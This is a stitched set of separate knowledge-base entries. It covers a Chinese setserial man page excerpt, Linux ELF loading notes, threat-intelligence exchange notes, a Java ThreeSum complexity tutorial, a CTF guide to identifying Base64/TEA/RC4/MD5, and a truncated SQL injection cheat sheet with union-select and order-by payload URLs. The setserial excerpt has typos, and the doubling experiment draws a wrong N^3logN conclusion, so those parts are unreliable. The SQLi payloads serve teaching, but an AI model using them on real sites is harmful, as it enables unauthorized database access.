port 此选项设置I/O地址如上. .TP .BR irq "中断号" .B irq 此选项设置硬件的中断号IRQ如上. .TP .BR uart "异步通讯(UART)类型" 此选项用来设置异步通讯(UART)的类型.允许的类型有 .BR none , 8250,16450, 16550,16550A,16550,16650V2,and 16750. 并且8250 类型 和 16450 没有FIFO's ,起初的16550 有一些错误致 使FIFO's不可用,FIFO 只可用来16550A类型的异步通讯机。设置异步 通讯(UART)类型为 8250,16450,或16550 将启用不使用 FIFO的串 行口.使用异步通讯类型为 .B none 将禁用端口. 一些内猫标注着"16650A UART带有1K缓冲",这是骗人的.它们没有真正 兼容 16550A的UART;相反的它们只有 一个16450兼容的带1K接收缓冲 UART,以防止接 收时溢出.这是非常重要的,因为它们没有一个没有一 个可传导的FIFO.因此,他们与16650A UART 并不兼容,自动配置过程将 正确的识别它们为16450 类型。如果你想强行使用,需要 .B uart 参数,这样你在传输文件时会发现有字符遗失.这些 UART 通常还有其它 一些问题. .B skip test 参数也经常被使用. .B autoconfig 当使用这个参数时, .B Setserial 将向核心请求自动设置串行口.I/O地址一要正确设置;核心将会 试图检测UART类型,如果 .B auto_irq 参数选用,Linux将试图自动分配中断号IRQ. .B autoconfig 参数应在 .BR port,auto_irq ",and "skip_test 等参数使用后也被指定. .TP .B auto_irq 在自动配置的过程中,会自动分配中断号IRQ. 此功能不能保证一 定有一个正确的结果;一些硬件的配置可能会迷惑Linux的核心.一 般来说不使用参数 .B auto_irq 的功能更安全一些,宁可明确地定IRQ中断号. .B irq 参数指定中断号. .TP .B ^auto_irq 在自动配置的过程中.并 .I 不 试图分配中断号IRQ. .TP .B skip_test 在自动配置的过程中,忽略UART检测.一些内猫没有国际半导体公司 兼容的UART设备类型,只有一些便宜的仿制品.有一些甚至不完全支持 loopback检测模式,此模式是核心在试图配置之前用来确定在特定的 地址上是不真有UART设备.因此对于某些内猫你可能需要指定这个参数 以便Linux能正确的初始化UART. .TP .B ^skip_tet 在自动配置过程中, .I 不 忽略UART的检测. .TP .BR baud_base "波特基率" 此选项设端口的波特率,此值为时钟频率除以16. 一般情况此项值为 115200, 这也是UART能支持的最快波特率. .TP .B spd_hi 当程序要求 38.4kb时,使用57.6kb的连接速度. 这个参数可以用由无特权的用户指定. .TP .B spd_vhi 当要求38.4kb时,使用115kb的连接速度. .B spd_cust 当要求38.4kb时,使用指定的divisor(除数)来计算速度.这时波特率由 .B baud_base(波特基率) 除以 .B divisor(除数) 得到 .TP .B spd_normal 当要求38.4kb 时使用38.4kb的速度. 此参数可以由无特权的用户指定. .TP .BR divisor "divisor(除数)" 此选项指定了自定义的除数.这个除数将被用在 .B spd_cust 选项中被指定时,当要求38.4kb的速度时,用来自行设置串行口连接 速度此参数可由无特权的普通用户设定. .TP .B sak 设置break键为引发安全注意键. .TP .B ^sak 禁用引发安全注意键. .TP .B fourport 配置端口为一AST Fouroart 卡. .TP .B ^fourport 禁用 AST Fourport 配置. .TP .BR close delay "delay(延时)" 指定时间长度,单位是百分之一秒,DTR在联出设备被关闭后,仍会保 持一个低速串行通路,在有数据进来之前会重新起动DTR.这选项的默 认值为50,即半秒延时. .TP .BR close_delay "delay(延时)" 指定时间长度,单位是百分之一秒,在接受端被禁之前关闭端口时, 核心需要等待从串行口传来的数据. 如果指定为"none",将不会有 延时.如果指定"infinite" 时,核心将会以不确定的时间等待缓冲 数据的传输.此选项的默认值为是 "none" . .TP .BR closing_wait2 "delay(延时)" 指定时间的长度,单位是百分之一秒,在接受端被禁用后,在关闭端 口时核心会等待从串行口传来的数据.而用 .B closing_wait 命令,"none" 和 "infinite" 两参数都将被指定,此项的默认值是 3000,也就是30 秒延时。 closing_wait 和 closing_wait2的默认值对大多数的设备都会适用。 如果选择的延时太长,当串行口断开后,它会挂起太长时间, 致使数据挂起而被消除。如果设太短,将会有可能致使一些传输的 数据溢出。 如果设备非常慢,像一个绘图仪,那么,两项值可能要增大一些。 如果设备使用 XON/XOFF 信号交换,那么默认值将会反过来。然而这 可能会致使在linux 与回波猫之间有一个"回波冲突"。 .TP .B session_lockout 对不同的任务,锁定联出设备的端口(/dev/cuaXX),也就是说,一但 有一个进程打开端口,就不允许其它不同号的任务打开此端口,直到 前一个进程放开此端口。 .TP .B ^session_lockout 对联出的端口不开启上述功能。 .TP .B pgrp_lockout 对不同进程组,锁定联出的端口(/dev/cuaXX)。 也就是说,一但一个进程打开一个端口,不允其它进程组的进程共 享此端口,直到前一个进程释放它。 此参数的一个应用就是在当一个登陆端被一个拨号的串行口锁定。它将 允许登陆端重置调制解调器(使用指定设备的程序可能会修改它的设置) 在锁定被打开之前。 .TP .B ^hup_notify 当进程锁定在打一个拨号时,而此时联邮设备正挂起的话,不通知进程。 .TP .B split_termios 对于联出设备的终端设置与联入设备的终端设置分开对待。 .TP .B ^split)termios 对以上两者相同对待.此值为默认选项。 .TP .B callout_nohup 如果这个特殊串行口被当成一个联出设备打开,那么当载波检测消失 时,不挂起通讯端口。 .TP .B ^callout_nohup 当串行口当作联出设备打开时,不忽略挂起通讯端口。当然,如果挂起 的话HUPCL终端标识将会被启用。 .TP .B ^low_latency 以更高的CPU占用率来使得接受滞延达到最小。(通常传输中的5-10ms的 滞延以使系统开销最小.) 此项默认值为关闭,但某些实时程序可能会用 到此参数。 .SH CONISIDERATIONS OF CONFIGURING SERIAL PORTS 明白setserial 命令只是告诉linux核心它想找到某个特定的端口的 I/O地址各中断号IRQ是很重要的。它并不操作硬件,串行设备实际 使用的一个特定的I/O地址。为了达到更改实际的硬件参数,你需要 手动设置硬件,通常是设置跳线,或更改DIP开关。 以下一节将针对设置你的串行端口给于一些帮助。 以下是"标准MS-dos"的端口设置: .nf .RS /dev/ttys0(COM1), port 0x3f8, irq 4 /dev/ttys1(COM2), port 0x2f8, irq 3 /dev/ttys2(COM3), port 0x3e8, irq 4 /dev/ttys3(COM4), port 0x2e8, irq 3 .RE .fi 根据AT/ISA总线结构的限定,通常中断号IRQ不能被两个以上的串行口 共享。如果你试图这这样做,那么当你同时启用两个端口时,它们中 的一个或全部将会不可靠。这和限制可由一多端口的串行口板来克服, 它用来让多个串行口共享一个中断号IRQ。此种板对linux的支持已加入 到AST FourPort, Accent Async 板,Usenet Serial II 板,Bocabord BB-1004, BB-1008,和 BB-2016 板,以及HUB-6 serial 板之中。 修改一个设备的中断号IRQ是比较困难的,因为大多数中断号已经被使用了, 以下是"标准MS-DOS"设定的有效的中断号列表: .nf .RS IRQ 3: COM2 IRQ 4: COM1 IRQ 5: LPT2 IRQ 7: LPT1 .RE .fi 许多人都发现中断号IRQ 5 是一个好的选择,假设电脑中只有一个并行口 是正在使用的。那么中断号IRQ 2 也是一个好的选择(也可能是9); 虽然这个中断号IRQ有时也被网卡使用,也有极个别的的显卡可能要使用 中断号IRQ 2作为一个垂直回扫的中断。如果你的显卡是这样设置的; 那你可能要禁用此项功能,以便能给其它的设备释放一个中断。当然这对 于linux或是其它操作系统不一定是必须的。 另外其它可用的中断号有 3 ,4,和 7,这些中断可能也被另一些串 行或是并行口所用。(如果你的串行卡有一个16位的电子数据收集器的 接线口,并且支持更高的中断号,那么中断号IRQ 10 ,11, 12,和 15 也是可用的。) 在一些AT类的机器上,中断号IRQ 2 被当作中断号IRQ 9,所以linux 会如此认为。 其它中断号除了2(9),3, 4, 5, 7, 10, 11, 12 和15 .I 不 能被使用,因为他们被安排给了其它的硬件,而且一般上不能 更改。以下是一些“标准”的设置: .nf .RS IRQ 0 时钟发生器 0 IRQ 1 键盘 IRQ 2 可编程的中断控制器 2 IRQ 3 串行口 2 IRQ 4 串行口 1 IRQ 5 并行口 2(保留给PS/2) IRQ 6 软盘驱动器 IRQ 7 并行口 1 IRQ 8 系统实时名钟 IRQ 9 重定向给中断号IRQ 2 IRQ 10 保留 IRQ 11 保留 IRQ 12 保留(ps/2兼容的设备) IRQ 13 数学协处理器 IRQ 14 硬盘控制器 IRQ 15 保留 .RE .fi .SH MULTIPORT CONFIGURATION 一些多端口的串行板可以让多的端中共享一个中断号,使用一个或是多个端口 以显示是否有端口需要服务。如果你的多端口吕行板支持这些端口,你须保 证如果中断丢失时,能避免潜在的死锁。 为了详细设置这些端口,使用 .B set_multiport 为参数,紧接其后的是多端口的参数。这个多端中的参数须指定为以下形式 .I port 这需要检测一下,参数 .I mask 可以显示在已注册的位中那个是重要的,最后参数 .I math 用来指定在已注册的位中,当没有进一步工作要做时,那一位必须匹配。 当有四个这种 /port/mask/match时,就要指定联合。第一个这种联合应该 使用如下参数 .BR port1, .BR mask1, 和 .BR match1 . 第二个这种联合需要用如下参数指定 .BR port2, .BR mask2, 和 .BR match2, 等等。为了禁用这个多端口检测,设置 .B port1 为零。 如果想查看当前多端口的设置,指定命令行参数 .B get_multiport 以下是一些通常的串行板的设置: .nf .RS AST FourPort port1 0x1BF match1 0xf mask1 0xf Boca BB-1004/8 port1 0x107 match1 0xff match1 0 Boca BB-2016 port1 0x107 match1 0xff match1 0 port2 0x147 match2 0xff match2 0 .RE .fi .SH Hayes ESP 的设置 .B Setserial 也可以用来在贺氏的ESP串行板上设置端口。 .PP 以下参数在设置时使用: .TP .B rx_trigger 这是一个接收的FIFO的触发水平(以字节为单位),较大的值可减少中断时间提 高性能;然而值太大会引起数据丢失。有效值在1 到 1023 之间. .TP .B tx_trigger 这是一个传送的FIFO的触发水平(安节为单位),较在的值可减少中断时间提高性 能,但值太大会引起传输效率下降。有效值在1 到 1023之间. .TP .B flow_off 这是通知ESP端口断开远端的传输(如,告诉它停止发送数据).有效值在1 到 1023之间,这个值要比接收的触发等级和联接的水平值高. .TP .B flow_on 这是ESP端口通知联接的等级(单位字节),(如,通知重新开始发送数据)在 挂断之后,有效值在1 到 1023之间.这个值应在断开(flow off)等级值 之下但要比接收的触发等级高. .TP .B rx_timeout 这是ESP端口在接收完最后一个字符,且在中断信号之前将要等待的时间。 有效值是0到255.值太大会增加延时,太小会引起不必要的中断。 .SH 警告 警告:设置一个串行端口时使用一个不正确的I/O地址可能会造成死机. .SH 文件 .BR /etc/rc.local .BR /etc/rc.serial .SH "另见", .BR tty(4), .BR ttys(4), kernel/chr_drv/serial.c .SH 作者 最初seterial的版本是由Rick Sladkey(jrs@world.std.com)所作,而后由 Michael K. Johnson(johsonm@stolaf.edu).
sec-knowleage
### 程序执行基本操作说明sys_execve 该函数主要用于执行一个新的程序,即执行我们想要执行的程序,会检查相应的argv以及envp等参数。 ### 程序执行基本操作说明do_execve 该函数打开目标映像文件,并从目标文件的开始处读入指定长度的(目前为128)字节来获取相应目标文件的基本信息。 ### 程序执行基本操作说明search_binary_handler 该函数会搜索支持处理当前类型的二进制文件类型队列,以便于让各种可执行程序的处理程序进行相应的处理。 ### 程序执行基本操作说明load_elf_binary 该函数的主要处理流程如下 - 检查并获取elf文件的头部信息。 - 如果目标文件采用动态链接,则使用.interp 节来确定loader的路径。 - 将program header 中记录的相应的段映射到内存中。program header中有以下重要信息 - 每一个段需要映射到的地址 - 每一个段相应的权限。 - 记录哪些节属于哪些段。 分情况处理 - 动态链接情况下,将sys_execve的返回地址改为loader(ld.so)的entry point。 - 静态链接情况下,将sys_execve的返回地址改为程序的入口点。 ### 程序执行基本操作说明ld.so 该文件有以下功能 - 主要用于载入ELF文件中DT_NEED中记录的共享库。 - 初始化工作 - 初始化GOT表。 - 将symbol table合并到global symbol table。 ### 程序执行基本操作说明_start _start函数会将以下项目交给libc_start_main - 环境变量起始地址 - .init - 启动main函数前的初始化工作 - fini - 程序结束前的收尾工作。
sec-knowleage
# 理解企业安全运营中的威胁交换 我们先理解对于情报驱动安全的体系中,整体的过程为:数据——信息——情报——策略。从中我们可以看到,我们要实施的威胁交换是在情报阶段及之前进行的。现阶段我的理解,主要是从时间维度(纵向)和参与角色(横向)来看。 ## 从纵向来看 从威胁检测的纵向(即按时间纬度)去考虑威胁交换的话,我们的工作主要集中于:“数据——信息——情报” 这个发展的过程。在这个纵向的过程中,我们要进行威胁交换,就是要做到以下几点: - 数据的交换 - 信息的交换 - 情报的交换 再细致地来讲,可以细分为: - 数据的交换 - 数据在采集前的交换:关于安全基线的配置、管理问题 - 数据在采集后的交换:安全基线检查后进行的多源异构数据的整合 - 信息的交换 - 网络行为/告警 的交换 - 系统行为/告警 的交换 - 未知信息的交换 - 未知MD5 - 未知IP - ... - 情报的交换 - IOC/IOA的交换 - 根据STIX标准的转换、整合 - TTP的交换 - 根据Kill Chain分析进行交换 ## 从横向来看 那么,我们从威胁检测的横向去看,主要要考虑威胁交换的参与者,主要有以下的几个维度: - 企业内部 - 安全部门 - 威胁情报部门 - 应急响应部门 - 安全运营(SOC)部门 - 风控安全部门 - ... - 业务部门 - ... - 企业外部 - 领域内 - 行业标准 - 行业联盟 - ... - 大行业内 - 全行业内
sec-knowleage
# 算法 - 算法分析 <!-- GFM-TOC --> * [算法 - 算法分析](#算法---算法分析) * [数学模型](#数学模型) * [1. 近似](#1-近似) * [2. 增长数量级](#2-增长数量级) * [3. 内循环](#3-内循环) * [4. 成本模型](#4-成本模型) * [注意事项](#注意事项) * [1. 大常数](#1-大常数) * [2. 缓存](#2-缓存) * [3. 对最坏情况下的性能的保证](#3-对最坏情况下的性能的保证) * [4. 随机化算法](#4-随机化算法) * [5. 均摊分析](#5-均摊分析) * [ThreeSum](#threesum) * [1. ThreeSumSlow](#1-threesumslow) * [2. ThreeSumBinarySearch](#2-threesumbinarysearch) * [3. ThreeSumTwoPointer](#3-threesumtwopointer) * [倍率实验](#倍率实验) <!-- GFM-TOC --> ## 数学模型 ### 1. 近似 N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 \~ N<sup>3</sup>/6。使用 \~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数。 ### 2. 增长数量级 N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 的增长数量级为 O(N<sup>3</sup>)。增长数量级将算法与它的具体实现隔离开来,一个算法的增长数量级为 O(N<sup>3</sup>) 与它是否用 Java 实现,是否运行于特定计算机上无关。 ### 3. 内循环 执行最频繁的指令决定了程序执行的总时间,把这些指令称为程序的内循环。 ### 4. 成本模型 使用成本模型来评估算法,例如数组的访问次数就是一种成本模型。 ## 注意事项 ### 1. 大常数 在求近似时,如果低级项的常数系数很大,那么近似的结果是错误的。 ### 2. 缓存 计算机系统会使用缓存技术来组织内存,访问数组相邻的元素会比访问不相邻的元素快很多。 ### 3. 对最坏情况下的性能的保证 在核反应堆、心脏起搏器或者刹车控制器中的软件,最坏情况下的性能是十分重要的。 ### 4. 随机化算法 通过打乱输入,去除算法对输入的依赖。 ### 5. 均摊分析 将所有操作的总成本除于操作总数来将成本均摊。例如对一个空栈进行 N 次连续的 push() 调用需要访问数组的次数为 N+4+8+16+...+2N=5N-4(N 是向数组写入元素的次数,其余都是调整数组大小时进行复制需要的访问数组次数),均摊后访问数组的平均次数为常数。 ## ThreeSum ThreeSum 用于统计一个数组中和为 0 的三元组数量。 ```java public interface ThreeSum { int count(int[] nums); } ``` ### 1. ThreeSumSlow 该算法的内循环为 `if (nums[i] + nums[j] + nums[k] == 0)` 语句,总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3,因此它的近似执行次数为 \~N<sup>3</sup>/6,增长数量级为 O(N<sup>3</sup>)。 ```java public class ThreeSumSlow implements ThreeSum { @Override public int count(int[] nums) { int N = nums.length; int cnt = 0; for (int i = 0; i < N; i++) { for (int j = i + 1; j < N; j++) { for (int k = j + 1; k < N; k++) { if (nums[i] + nums[j] + nums[k] == 0) { cnt++; } } } } return cnt; } } ``` ### 2. ThreeSumBinarySearch 将数组进行排序,对两个元素求和,并用二分查找方法查找是否存在该和的相反数,如果存在,就说明存在和为 0 的三元组。 应该注意的是,只有数组不含有相同元素才能使用这种解法,否则二分查找的结果会出错。 该方法可以将 ThreeSum 算法增长数量级降低为 O(N<sup>2</sup>logN)。 ```java public class ThreeSumBinarySearch implements ThreeSum { @Override public int count(int[] nums) { Arrays.sort(nums); int N = nums.length; int cnt = 0; for (int i = 0; i < N; i++) { for (int j = i + 1; j < N; j++) { int target = -nums[i] - nums[j]; int index = BinarySearch.search(nums, target); // 应该注意这里的下标必须大于 j,否则会重复统计。 if (index > j) { cnt++; } } } return cnt; } } ``` ```java public class BinarySearch { public static int search(int[] nums, int target) { int l = 0, h = nums.length - 1; while (l <= h) { int m = l + (h - l) / 2; if (target == nums[m]) { return m; } else if (target > nums[m]) { l = m + 1; } else { h = m - 1; } } return -1; } } ``` ### 3. ThreeSumTwoPointer 更有效的方法是先将数组排序,然后使用双指针进行查找,时间复杂度为 O(N<sup>2</sup>)。 同样不适用与数组存在重复元素的情况。 ```java public class ThreeSumTwoPointer implements ThreeSum { @Override public int count(int[] nums) { int N = nums.length; int cnt = 0; Arrays.sort(nums); for (int i = 0; i < N - 2; i++) { int l = i + 1, h = N - 1, target = -nums[i]; while (l < h) { int sum = nums[l] + nums[h]; if (sum == target) { cnt++; l++; h--; } else if (sum < target) { l++; } else { h--; } } } return cnt; } } ``` ## 倍率实验 如果 T(N) \~ aN<sup>b</sup>logN,那么 T(2N)/T(N) \~ 2<sup>b</sup>。 例如对于暴力的 ThreeSum 算法,近似时间为 \~N<sup>3</sup>/6。进行如下实验:多次运行该算法,每次取的 N 值为前一次的两倍,统计每次执行的时间,并统计本次运行时间与前一次运行时间的比值,得到如下结果: | N | Time(ms) | Ratio | | :---: | :---: | :---: | | 500 | 48 | / | | 1000 | 320 | 6.7 | | 2000 | 555 | 1.7 | | 4000 | 4105 | 7.4 | | 8000 | 33575 | 8.2 | | 16000 | 268909 | 8.0 | 可以看到,T(2N)/T(N) \~ 2<sup>3</sup>,因此可以确定 T(N) \~ aN<sup>3</sup>logN。 ```java public class RatioTest { public static void main(String[] args) { int N = 500; int loopTimes = 7; double preTime = -1; while (loopTimes-- > 0) { int[] nums = new int[N]; StopWatch.start(); ThreeSum threeSum = new ThreeSumSlow(); int cnt = threeSum.count(nums); System.out.println(cnt); double elapsedTime = StopWatch.elapsedTime(); double ratio = preTime == -1 ? 0 : elapsedTime / preTime; System.out.println(N + " " + elapsedTime + " " + ratio); preTime = elapsedTime; N *= 2; } } } ``` ```java public class StopWatch { private static long start; public static void start() { start = System.currentTimeMillis(); } public static double elapsedTime() { long now = System.currentTimeMillis(); return (now - start) / 1000.0; } } ```
sec-knowleage
### 常见加密算法和编码识别概述 在对数据进行变换的过程中,除了简单的字节操作之外,还会使用一些常用的编码加密算法,因此如果能够快速识别出对应的编码或者加密算法,就能更快的分析出整个完整的算法。CTF 逆向中通常出现的加密算法包括base64、TEA、AES、RC4、MD5等。 ### Base64概述 Base64 是一种基于64个可打印字符来表示二进制数据的表示方法。转换的时候,将3字节的数据,先后放入一个24位的缓冲区中,先来的字节占高位。数据不足3字节的话,于缓冲器中剩下的比特用0补足。每次取出6比特,按照其值选择`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ `中的字符作为编码后的输出,直到全部输入数据转换完成。 通常而言 Base64 的识别特征为索引表,当我们能找到 `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ ` 这样索引表,再经过简单的分析基本就能判定是 Base64 编码。 当然,有些题目 base64 的索引表是会变的,一些变种的 base64 主要 就是修改了这个索引表。 ### Tea概述 在[密码学](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%AD%A6)中,**微型加密算法**(Tiny Encryption Algorithm,TEA)是一种易于描述和[执行](https://zh.wikipedia.org/w/index.php?title=%E6%89%A7%E8%A1%8C&action=edit&redlink=1)的[块密码](https://zh.wikipedia.org/wiki/%E5%A1%8A%E5%AF%86%E7%A2%BC),通常只需要很少的代码就可实现。其设计者是[剑桥大学计算机实验室](https://zh.wikipedia.org/wiki/%E5%89%91%E6%A1%A5%E5%A4%A7%E5%AD%A6)的[大卫·惠勒](https://zh.wikipedia.org/w/index.php?title=%E5%A4%A7%E5%8D%AB%C2%B7%E6%83%A0%E5%8B%92&action=edit&redlink=1)与[罗杰·尼达姆](https://zh.wikipedia.org/w/index.php?title=%E7%BD%97%E6%9D%B0%C2%B7%E5%B0%BC%E8%BE%BE%E5%A7%86&action=edit&redlink=1)。 参考代码: ```c #include <stdint.h> void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } ``` 在 Tea 算法中其最主要的识别特征就是 拥有一个 magic number :0x9e3779b9 。当然,这 Tea 算法也有魔改的,感兴趣的可以看 2018 0ctf Quals milk-tea。 ### RC4概述 在[密码学](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A2%BC%E5%AD%B8)中,**RC4**(来自Rivest Cipher 4的缩写)是一种[流加密](https://zh.wikipedia.org/wiki/%E6%B5%81%E5%8A%A0%E5%AF%86)算法,[密钥](https://zh.wikipedia.org/wiki/%E5%AF%86%E9%92%A5)长度可变。它加解密使用相同的密钥,因此也属于[对称加密算法](https://zh.wikipedia.org/wiki/%E5%AF%B9%E7%A7%B0%E5%8A%A0%E5%AF%86)。RC4是[有线等效加密](https://zh.wikipedia.org/wiki/%E6%9C%89%E7%B7%9A%E7%AD%89%E6%95%88%E5%8A%A0%E5%AF%86)(WEP)中采用的加密算法,也曾经是[TLS](https://zh.wikipedia.org/wiki/%E4%BC%A0%E8%BE%93%E5%B1%82%E5%AE%89%E5%85%A8%E5%8D%8F%E8%AE%AE)可采用的算法之一。 ```C void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数 { int i =0, j = 0; char k[256] = {0}; unsigned char tmp = 0; for (i=0;i<256;i++) { s[i] = i; k[i] = key[i%Len]; } for (i=0; i<256; i++) { j=(j+s[i]+k[i])%256; tmp = s[i]; s[i] = s[j]; //交换s[i]和s[j] s[j] = tmp; } } void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) //加解密 { int i = 0, j = 0, t = 0; unsigned long k = 0; unsigned char tmp; for(k=0;k<Len;k++) { i=(i+1)%256; j=(j+s[i])%256; tmp = s[i]; s[i] = s[j]; //交换s[x]和s[y] s[j] = tmp; t=(s[i]+s[j])%256; Data[k] ^= s[t]; } } ``` 通过分析初始化代码,可以看出初始化代码中,对字符数组s进行了初始化赋值,且赋值分别递增。之后对s进行了256次交换操作。通过识别初始化代码,可以知道rc4算法。 其伪代码表示为: 初始化长度为256的[S盒](https://zh.wikipedia.org/wiki/S%E7%9B%92)。第一个for循环将0到255的互不重复的元素装入S盒。第二个for循环根据密钥打乱S盒。 ```c for i from 0 to 255 S[i] := i endfor j := 0 for( i=0 ; i<256 ; i++) j := (j + S[i] + key[i mod keylength]) % 256 swap values of S[i] and S[j] endfor ``` 下面i,j是两个指针。每收到一个字节,就进行while循环。通过一定的算法((a),(b))定位S盒中的一个元素,并与输入字节异或,得到k。循环中还改变了S盒((c))。如果输入的是[明文](https://zh.wikipedia.org/wiki/%E6%98%8E%E6%96%87),输出的就是[密文](https://zh.wikipedia.org/wiki/%E5%AF%86%E6%96%87);如果输入的是密文,输出的就是明文。 ```c i := 0 j := 0 while GeneratingOutput: i := (i + 1) mod 256 //a j := (j + S[i]) mod 256 //b swap values of S[i] and S[j] //c k := inputByte ^ S[(S[i] + S[j]) % 256] output K endwhile ``` 此算法保证每256次循环中S盒的每个元素至少被交换过一次 ### python解密脚本 对应例题:《从 0 到 1》RE 篇——BabyAlgorithm [题目链接](https://buuoj.cn/challenges#[%E7%AC%AC%E4%BA%94%E7%AB%A0%20CTF%E4%B9%8BRE%E7%AB%A0]BabyAlgorithm) ```python import base64 def rc4_main(key = "init_key", message = "init_message"): print("RC4解密主函数调用成功") print('\n') s_box = rc4_init_sbox(key) crypt = rc4_excrypt(message, s_box) return crypt def rc4_init_sbox(key): s_box = list(range(256)) print("原来的 s 盒:%s" % s_box) print('\n') j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] print("混乱后的 s 盒:%s"% s_box) print('\n') return s_box def rc4_excrypt(plain, box): print("调用解密程序成功。") print('\n') plain = base64.b64decode(plain.encode('utf-8')) plain = bytes.decode(plain) res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) print("res用于解密字符串,解密后是:%res" %res) print('\n') cipher = "".join(res) print("解密后的字符串是:%s" %cipher) print('\n') print("解密后的输出(没经过任何编码):") print('\n') return cipher a=[] #cipher key="" s="" for i in a: s+=chr(i) s=str(base64.b64encode(s.encode('utf-8')), 'utf-8') rc4_main(key, s) ``` ### MD5概述 **MD5消息摘要算法**(英语:MD5 Message-Digest Algorithm),一种被广泛使用的[密码散列函数](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A2%BC%E9%9B%9C%E6%B9%8A%E5%87%BD%E6%95%B8),可以产生出一个128位(16[字节](https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82))的散列值(hash value),用于确保信息传输完整一致。MD5由美国密码学家[罗纳德·李维斯特](https://zh.wikipedia.org/wiki/%E7%BD%97%E7%BA%B3%E5%BE%B7%C2%B7%E6%9D%8E%E7%BB%B4%E6%96%AF%E7%89%B9)(Ronald Linn Rivest)设计,于1992年公开,用以取代[MD4](https://zh.wikipedia.org/wiki/MD4)算法。这套算法的程序在 [RFC 1321](https://tools.ietf.org/html/rfc1321) 中被加以规范。 伪代码表示为: ``` /Note: All variables are unsigned 32 bits and wrap modulo 2^32 when calculating var int[64] r, k //r specifies the per-round shift amounts r[ 0..15]:= {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22} r[16..31]:= {5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20} r[32..47]:= {4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23} r[48..63]:= {6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21} //Use binary integer part of the sines of integers as constants: for i from 0 to 63 k[i] := floor(abs(sin(i + 1)) × 2^32) //Initialize variables: var int h0 := 0x67452301 var int h1 := 0xEFCDAB89 var int h2 := 0x98BADCFE var int h3 := 0x10325476 //Pre-processing: append "1" bit to message append "0" bits until message length in bits ≡ 448 (mod 512) append bit length of message as 64-bit little-endian integer to message //Process the message in successive 512-bit chunks: for each 512-bit chunk of message break chunk into sixteen 32-bit little-endian words w[i], 0 ≤ i ≤ 15 //Initialize hash value for this chunk: var int a := h0 var int b := h1 var int c := h2 var int d := h3 //Main loop: for i from 0 to 63 if 0 ≤ i ≤ 15 then f := (b and c) or ((not b) and d) g := i else if 16 ≤ i ≤ 31 f := (d and b) or ((not d) and c) g := (5×i + 1) mod 16 else if 32 ≤ i ≤ 47 f := b xor c xor d g := (3×i + 5) mod 16 else if 48 ≤ i ≤ 63 f := c xor (b or (not d)) g := (7×i) mod 16 temp := d d := c c := b b := leftrotate((a + f + k[i] + w[g]),r[i]) + b a := temp Next i //Add this chunk's hash to result so far: h0 := h0 + a h1 := h1 + b h2 := h2 + c h3 := h3 + d End ForEach var int digest := h0 append h1 append h2 append h3 //(expressed as little-endian) ``` 其鲜明的特征是: ```c h0 = 0x67452301; h1 = 0xefcdab89; h2 = 0x98badcfe; h3 = 0x10325476; ```
sec-knowleage
# SQL injection ## Introduction It is an attack in which an attacker inserts untrusted data in the application that results in revealing sensitive information of the database. SQL Injection (SQLi) is a code injection attack where an attacker manipulates the data being sent to the server to execute malicious SQL statements to control a web application’s database server, thereby accessing, modifying and deleting unauthorized data. This attack is mainly used to take over database servers. - In-band SQLi (Classic SQLi) - Error-based SQLi - Union-based SQLi - Inferential SQLi (Blind SQLi) - Boolean-based (content-based) Blind SQLi - Time-based Blind SQLi - Out-of-band SQLi ## Where to find Everywhere ## How to exploit # SQLI tricks ## GET ### Error-Based ### Simple test `Adding a simpe quote '` Example: `http://vulnerable-website.com/Less-1/?id=5'` ### Fuzzing Sorting columns to find maximum column `http://vulnerable-website.com/Less-1/?id=-1 order by 1` `http://vulnerable-website.com/Less-1/?id=-1 order by 2` `http://vulnerable-website.com/Less-1/?id=-1 order by 3` (until it stop returning errors) --- ### Finding what column is injectable **mysql** `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, 3` (using the same amount of columns you got on the previous step) **postgresql** `http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, NULL` (using the same amount of columns you got on the previous step) one of the columns will be printed with the respective number --- #### Finding version `http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, version()` **mysql** `http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, version()` **postgres**s #### Finding database name 